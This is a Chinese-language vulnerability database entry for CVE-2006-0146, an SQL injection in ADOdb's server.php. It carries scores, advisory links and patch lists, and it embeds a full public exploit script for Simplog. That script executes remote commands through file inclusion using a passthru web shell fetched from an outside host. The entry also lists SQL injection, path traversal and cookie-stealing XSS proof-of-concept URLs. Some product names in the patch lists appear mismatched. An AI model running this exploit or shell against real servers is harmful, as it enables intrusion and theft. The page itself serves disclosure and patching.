CVE-2006-0146
CVSS7.5
发布时间 :2006-01-09 18:03:00
修订时间 :2011-06-14 00:00:00
NMCOES    

[原文]The server.php test script in ADOdb for PHP before 4.70, as used in multiple products including (1) Mantis, (2) PostNuke, (3) Moodle, (4) Cacti, (5) Xaraya, (6) PHPOpenChat, (7) MAXdev MD-Pro, and (8) MediaBeez, when the MySQL root password is empty, allows remote attackers to execute arbitrary SQL commands via the sql parameter.


[CNNVD]ADOdb Server.PHP SQL注入漏洞(CNNVD-200601-050)

        ADOdb for PHP 4.70之前版本中的server.php脚本(用在多个产品中,包括(1) Mantis、(2) PostNuke、(3) Moodle、(4) Cacti、(5) Xaraya、(6) PHPOpenChat、(7) MAXdev MD-Pro和(8) MediaBeez),在MySQL根密码为空时,远程攻击者可以通过sql参数执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-89 [SQL命令中使用的特殊元素转义处理不恰当(SQL注入)]

- CPE (受影响的平台与产品)

cpe:/a:mediabeez:mediabeez
cpe:/a:mantis:mantis:0.19.4
cpe:/a:moodle:moodle:1.5.3Moodle 1.5.3
cpe:/a:john_lim:adodb:4.66
cpe:/a:mantis:mantis:1.0.0_rc4
cpe:/a:postnuke_software_foundation:postnuke:0.761
cpe:/a:john_lim:adodb:4.68
cpe:/a:the_cacti_group:cacti:0.8.6g

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0146
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0146
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200601-050
(官方数据源) CNNVD

- 其它链接及资源

http://www.xaraya.com/index.php/news/569
(PATCH)  CONFIRM  http://www.xaraya.com/index.php/news/569
http://www.securityfocus.com/bid/16187
(PATCH)  BID  16187
http://www.securityfocus.com/archive/1/archive/1/423784/100/0/threaded
(PATCH)  BUGTRAQ  20060202 Bug for libs in php link directory 2.0
http://www.osvdb.org/22290
(PATCH)  OSVDB  22290
http://www.gentoo.org/security/en/glsa/glsa-200604-07.xml
(VENDOR_ADVISORY)  GENTOO  GLSA-200604-07
http://www.debian.org/security/2006/dsa-1031
(VENDOR_ADVISORY)  DEBIAN  DSA-1031
http://www.debian.org/security/2006/dsa-1030
(VENDOR_ADVISORY)  DEBIAN  DSA-1030
http://www.debian.org/security/2006/dsa-1029
(VENDOR_ADVISORY)  DEBIAN  DSA-1029
http://secunia.com/secunia_research/2005-64/advisory/
(VENDOR_ADVISORY)  MISC  http://secunia.com/secunia_research/2005-64/advisory/
http://secunia.com/advisories/19699
(VENDOR_ADVISORY)  SECUNIA  19699
http://secunia.com/advisories/19591
(VENDOR_ADVISORY)  SECUNIA  19591
http://secunia.com/advisories/19590
(VENDOR_ADVISORY)  SECUNIA  19590
http://secunia.com/advisories/19563
(VENDOR_ADVISORY)  SECUNIA  19563
http://secunia.com/advisories/19555
(VENDOR_ADVISORY)  SECUNIA  19555
http://secunia.com/advisories/18720
(VENDOR_ADVISORY)  SECUNIA  18720
http://secunia.com/advisories/18276
(VENDOR_ADVISORY)  SECUNIA  18276
http://secunia.com/advisories/18260
(VENDOR_ADVISORY)  SECUNIA  18260
http://secunia.com/advisories/18233
(VENDOR_ADVISORY)  SECUNIA  18233
http://secunia.com/advisories/17418
(VENDOR_ADVISORY)  SECUNIA  17418
http://xforce.iss.net/xforce/xfdb/24051
(UNKNOWN)  XF  adodb-server-command-execution(24051)
http://www.vupen.com/english/advisories/2006/1419
(UNKNOWN)  VUPEN  ADV-2006-1419
http://www.vupen.com/english/advisories/2006/1305
(VENDOR_ADVISORY)  VUPEN  ADV-2006-1305
http://www.vupen.com/english/advisories/2006/1304
(VENDOR_ADVISORY)  VUPEN  ADV-2006-1304
http://www.vupen.com/english/advisories/2006/0447
(VENDOR_ADVISORY)  VUPEN  ADV-2006-0447
http://www.vupen.com/english/advisories/2006/0370
(VENDOR_ADVISORY)  VUPEN  ADV-2006-0370
http://www.vupen.com/english/advisories/2006/0105
(VENDOR_ADVISORY)  VUPEN  ADV-2006-0105
http://www.vupen.com/english/advisories/2006/0104
(VENDOR_ADVISORY)  VUPEN  ADV-2006-0104
http://www.vupen.com/english/advisories/2006/0103
(VENDOR_ADVISORY)  VUPEN  ADV-2006-0103
http://www.vupen.com/english/advisories/2006/0102
(UNKNOWN)  VUPEN  ADV-2006-0102
http://www.vupen.com/english/advisories/2006/0101
(VENDOR_ADVISORY)  VUPEN  ADV-2006-0101
http://www.securityfocus.com/archive/1/archive/1/466171/100/0/threaded
(UNKNOWN)  BUGTRAQ  20070418 MediaBeez Sql query Execution .. Wear isn't ?? :)
http://www.securityfocus.com/archive/1/archive/1/430448/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060409 PhpOpenChat 3.0.x ADODB Server.php
http://www.maxdev.com/Article550.phtml
(UNKNOWN)  CONFIRM  http://www.maxdev.com/Article550.phtml
http://securityreason.com/securityalert/713
(UNKNOWN)  SREASON  713
http://secunia.com/advisories/24954
(VENDOR_ADVISORY)  SECUNIA  24954
http://secunia.com/advisories/19691
(VENDOR_ADVISORY)  SECUNIA  19691
http://secunia.com/advisories/19600
(VENDOR_ADVISORY)  SECUNIA  19600
http://secunia.com/advisories/18267
(VENDOR_ADVISORY)  SECUNIA  18267
http://secunia.com/advisories/18254
(VENDOR_ADVISORY)  SECUNIA  18254
http://retrogod.altervista.org/phpopenchat_30x_sql_xpl.html
(UNKNOWN)  MISC  http://retrogod.altervista.org/phpopenchat_30x_sql_xpl.html

- 漏洞信息

ADOdb Server.PHP SQL注入漏洞
高危 输入验证
2006-01-09 00:00:00 2007-05-18 00:00:00
远程  
        ADOdb for PHP 4.70之前版本中的server.php脚本(用在多个产品中,包括(1) Mantis、(2) PostNuke、(3) Moodle、(4) Cacti、(5) Xaraya、(6) PHPOpenChat、(7) MAXdev MD-Pro和(8) MediaBeez),在MySQL根密码为空时,远程攻击者可以通过sql参数执行任意SQL命令。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        Mantis Mantis 0.19.4
        Mantis mantis-1.0.0.tar.gz
        http://prdownloads.sourceforge.net/mantisbt/mantis-1.0.0.tar.gz
        Cisco Aironet 340 BR340 Firmware 0.761
        PostNuke PostNuke 0.761a
        http://news.postnuke.com/Downloads-req-getit-lid-517.html
        Planet Technology WSW-2401 0.8.6 g
        Cacti cacti-0.8.6h.tar.gz
        http://www.cacti.net/downloads/cacti-0.8.6h.tar.gz
        Mantis Mantis 1.0 .0RC4
        Mantis mantis-1.0.0.tar.gz
        http://prdownloads.sourceforge.net/mantisbt/mantis-1.0.0.tar.gz
        LifeType LifeType 1.0.2
        LifeType lifetype-1.0.3.tar.gz
        http://prdownloads.sourceforge.net/lifetype/lifetype-1.0.3.tar.gz
        BEA Systems Weblogic Proxy Plugin 1.5.3
        Moodle moodle-latest.tgz
        This is the latest development version that will become version 1.3 of the software. The fix for this issue has been incorporated into the product and will be included in the next official release.
        http://moodle.org/download.php/moodle/moodle-latest.tgz
        phpESP phpESP 1.7
        phpESP phpESP-1.8.2.tar.gz
        http://prdownloads.sourceforge.net/phpesp/phpESP-1.8.2.tar.gz
        phpESP phpESP 1.7.1
        phpESP phpESP-1.8.2.tar.gz
        http://prdownloads.sourceforge.net/phpesp/phpESP-1.8.2.tar.gz
        phpESP phpESP 1.7.2
        phpESP phpESP-1.8.2.tar.gz
        http://prdownloads.sourceforge.net/phpesp/phpESP-1.8.2.tar.gz
        phpESP phpESP 1.7.5 -dev2
        phpESP phpESP-1.8.2.tar.gz
        http://prdownloads.sourceforge.net/phpesp/phpESP-1.8.2.tar.gz
        phpESP phpESP 1.7.5
        phpESP phpESP-1.8.2.tar.gz
        http://prdownloads.sourceforge.net/phpesp/phpESP-1.8.2.tar.gz
        phpESP phpESP 1.7.5 -dev
        phpESP phpESP-1.8.2.tar.gz
        http://prdownloads.sourceforge.net/phpesp/phpESP-1.8.2.tar.gz
        phpESP phpESP 1.7.5 -dev3
        phpESP phpESP-1.8.2.tar.gz
        http://prdownloads.sourceforge.net/phpesp/phpESP-1.8.2.tar.gz
        phpESP phpESP 1.8 -rc1
        phpESP phpESP-1.8.2.tar.gz
        http://prdownloads.sourceforge.net/phpesp/phpESP-1.8.2.tar.gz
        phpESP phpESP 1.8.1
        phpESP phpESP-1.8.2.tar.gz
        http://prdownloads.sourceforge.net/phpesp/phpESP-1.8.2.tar.gz
        ADOdb ADOdb 4.66
        ADOdb adodb470.tgz
        http://prdownloads.sourceforge.net/adodb/adodb470.tgz
        ADOdb ADOdb 4.68 ADOdb adodb470.tgz
        http://prdownloads.sourceforge.net/adodb/adodb470.tgz

- 漏洞信息 (1663)

Simplog <= 0.9.2 (s) Remote Commands Execution Exploit (EDBID:1663)
php webapps
2006-04-11 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Simplog <= 0.9.2 \"s\" remote cmmnds xctn\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "dork: intext:\"Powered by simplog\"\r\n\r\n";

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path location cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to simplog\r\n";
echo "location:  an arbitrary location with the code to include\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /simplog/ http://somehost.com ls -la\r\n";
echo "php ".$argv[0]." localhost /simplog/ http://somehost.com/subdir ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / http://somehost.com cat ./../config.php -P1.1.1.1:80\r\n\r\n";
echo "note, you need this code in http://somehost.com/suntzu.html:\r\n";
echo "<?php\r\n";
echo "if (get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"cmd\"]);}\r\n";
echo "ini_set(\"max_execution_time\",0);\r\n";
echo "echo \"*delim*\";\r\n";
echo "passthru(\$_REQUEST[\"cmd\"]);\r\n";
echo "echo \"*delim*\";\r\n";
echo "?>\r\n";
die;
}

/*
 software site: http://www.simplog.org/

 description: "Simplog provides an easy way for users to add blogging capabilities
 to their existing websites. Simplog is written in PHP and compatible with multiple
 databases. Simplog also features an RSS/Atom aggregator/reader.
 Powerful, yet simple......."


 i)  vulnerable code in doc/index.php at lines:
  ...
  <?php

	if(isset($_REQUEST['s'])) {
		include($_REQUEST['s'].".html");
	}

  ?>
  ...

  nice code, isn't it? :)
  poc:
  http://[target]/[path]/doc/index.php?cmd=ls%20-la&s=http://somehost.com/suntzu
  (but you can submit arguments even trough cookies or POST data...)

  or:
  http://[target]/[path]/doc/index.php?s=../../../../var/httpd/logs/error_log%00

  ii)
  http://[target]/[path]/index.php?blogid=[sql]
  http://[target]/[path]/archive.php?blogid=[sql]
  http://[target]/[path]/archive.php?m=[sql]
  http://[target]/[path]/archive.php?y=[sql]

  iii)
  http://[target]/[path]/adodb/server.php?sql=[sql]
  http://[target]/[path]/adodb/tests/tmssql.php?do=phpinfo

  iv) xss:
  http://[target]/[path]/login.php?btag=<script>alert(document.cookie)</script>

  this is the exploit for i), works with allow_url_fopen = On
                                                                              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$loc=$argv[3];
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))
{die("Check the path, it must begin and end with a trailing slash\r\n");}
$port=80;
$proxy="";
$cmd="";
for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{
$cmd.=" ".$argv[$i];
}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}

$packet ="GET ".$p."doc/index.php HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: s=".$loc."%2fsuntzu; cmd=".$cmd.";\r\n"; //through cookies, log this :)
$packet.="Connection: Close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"*delim*"))
{$temp=explode("*delim*",$html);
 echo "Exploit succeeded...\r\n\r\n";
 echo $temp[1];
}
else
{
#debug
echo $html."\r\n";
echo "Exploit failed...";
}
?>

# milw0rm.com [2006-04-11]
		

- 漏洞信息

22290
ADOdb server.php sql Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public Vendor Verified

- 漏洞描述

ADOdb contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the server.php script not properly sanitizing user-supplied input to the 'sql' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-01-09 2005-12-30
2006-01-09 Unknow

- 解决方案

Upgrade to version 4.70 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

ADOdb Server.PHP SQL Injection Vulnerability
Input Validation Error 16187
Yes No
2006-01-09 12:00:00 2006-05-29 06:02:00
Andreas Sandblad of Secunia Research is credited with the discovery of this vulnerability.

- 受影响的程序版本

Simplog Simplog 0.9.2
Planet Technology WSW-2401 0.8.6 g
phpESP phpESP 1.8.1
phpESP phpESP 1.8 -rc1
phpESP phpESP 1.7.5 -dev3
phpESP phpESP 1.7.5 -dev2
phpESP phpESP 1.7.5 -dev
phpESP phpESP 1.7.5
phpESP phpESP 1.7.2
phpESP phpESP 1.7.1
phpESP phpESP 1.7
PHP Link Directory PHPLD 2.0
Mantis Mantis 1.0 .0RC4
Mantis Mantis 0.19.4
LifeType LifeType 1.0.2
Gentoo Linux
Debian Linux 3.1 sparc
Debian Linux 3.1 s/390
Debian Linux 3.1 ppc
Debian Linux 3.1 mipsel
Debian Linux 3.1 mips
Debian Linux 3.1 m68k
Debian Linux 3.1 ia-64
Debian Linux 3.1 ia-32
Debian Linux 3.1 hppa
Debian Linux 3.1 arm
Debian Linux 3.1 amd64
Debian Linux 3.1 alpha
Debian Linux 3.1
Debian Linux 3.0 sparc
Debian Linux 3.0 s/390
Debian Linux 3.0 ppc
Debian Linux 3.0 mipsel
Debian Linux 3.0 mips
Debian Linux 3.0 m68k
Debian Linux 3.0 ia-64
Debian Linux 3.0 ia-32
Debian Linux 3.0 hppa
Debian Linux 3.0 arm
Debian Linux 3.0 alpha
Debian Linux 3.0
Cisco Aironet 340 BR340 Firmware 0.761
BEA Systems Weblogic Proxy Plugin 1.5.3
Agileco AgileBill 1.4.92
ADOdb ADOdb 4.68
ADOdb ADOdb 4.66
Planet Technology WSW-2401 0.8.6 h
phpESP phpESP 1.8.2
Mantis Mantis 1.0
LifeType LifeType 1.0.3
Cisco Aironet 340 BR340 Firmware 0.761 a
BEA Systems Weblogic Proxy Plugin 1.5.3 +
Agileco AgileBill 1.4.93
ADOdb ADOdb 4.70

- 不受影响的程序版本

Planet Technology WSW-2401 0.8.6 h
phpESP phpESP 1.8.2
Mantis Mantis 1.0
LifeType LifeType 1.0.3
Cisco Aironet 340 BR340 Firmware 0.761 a
BEA Systems Weblogic Proxy Plugin 1.5.3 +
Agileco AgileBill 1.4.93
ADOdb ADOdb 4.70

- 漏洞讨论

ADOdb is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Exploitation of this issue requires the root password for MySQL to be empty and the affected script to be located inside the web root.

- 漏洞利用

An exploit is not required.

The following proof-of-concept URI is available:

http://www.example.com/server.php?sql=SELECT '[content]' INTO OUTFILE '[file]'

- 解决方案

The vendor has released an update addressing this issue.

Please see the referenced vendor advisories for further information.


Mantis Mantis 0.19.4

Cisco Aironet 340 BR340 Firmware 0.761

Planet Technology WSW-2401 0.8.6 g

Mantis Mantis 1.0 .0RC4

LifeType LifeType 1.0.2

BEA Systems Weblogic Proxy Plugin 1.5.3
  • Moodle moodle-latest.tgz
    This is the latest development version that will become version 1.3 of the software. The fix for this issue has been incorporated into the product and will be included in the next official release.
    http://moodle.org/download.php/moodle/moodle-latest.tgz


phpESP phpESP 1.7

phpESP phpESP 1.7.1

phpESP phpESP 1.7.2

phpESP phpESP 1.7.5 -dev2

phpESP phpESP 1.7.5

phpESP phpESP 1.7.5 -dev

phpESP phpESP 1.7.5 -dev3

phpESP phpESP 1.8 -rc1

phpESP phpESP 1.8.1

ADOdb ADOdb 4.66

ADOdb ADOdb 4.68

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站